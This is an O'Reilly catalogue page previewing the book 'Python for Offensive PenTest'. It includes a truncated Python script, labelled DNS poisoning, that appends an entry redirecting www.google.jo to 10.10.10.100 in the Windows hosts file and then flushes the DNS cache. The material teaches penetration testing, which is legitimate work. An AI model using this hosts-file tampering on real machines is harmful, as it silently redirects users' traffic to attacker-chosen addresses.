Skip to Content
Python for Offensive PenTest
book

Python for Offensive PenTest

by Hussam Khrais
April 2018
Intermediate to advanced content levelIntermediate to advanced
176 pages
4h 16m
English
Packt Publishing
Content preview from Python for Offensive PenTest

Using Python script

Now we'll automate the steps, but this time via a Python script.

Open the script and enter the following code:

# Python For Offensive PenTest# DNS_Poisoningimport subprocessimport osos.chdir("C:\Windows\System32\drivers\etc") # change the script directory to ..\etc where the host file is located on windowscommand = "echo 10.10.10.100 www.google.jo >> hosts" # Append this line to the host file, where it should redirect                                                      # traffic going to google.jo to IP of 10.10.10.100CMD = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)command = "ipconfig /flushdns" # flush the cached dns, to make sure that new sessions will take the new DNS recordCMD = subprocess.Popen(command, ...
Become an O’Reilly member and get unlimited access to this title plus top books and audiobooks from O’Reilly and nearly 200 top publishers, thousands of courses curated by job role, 150+ live events each month,
and much more.
Start your free trial

You might also like

Python Penetration Testing Cookbook

Python Penetration Testing Cookbook

Rejah Rehim

Publisher Resources

ISBN: 9781788838979Supplemental Content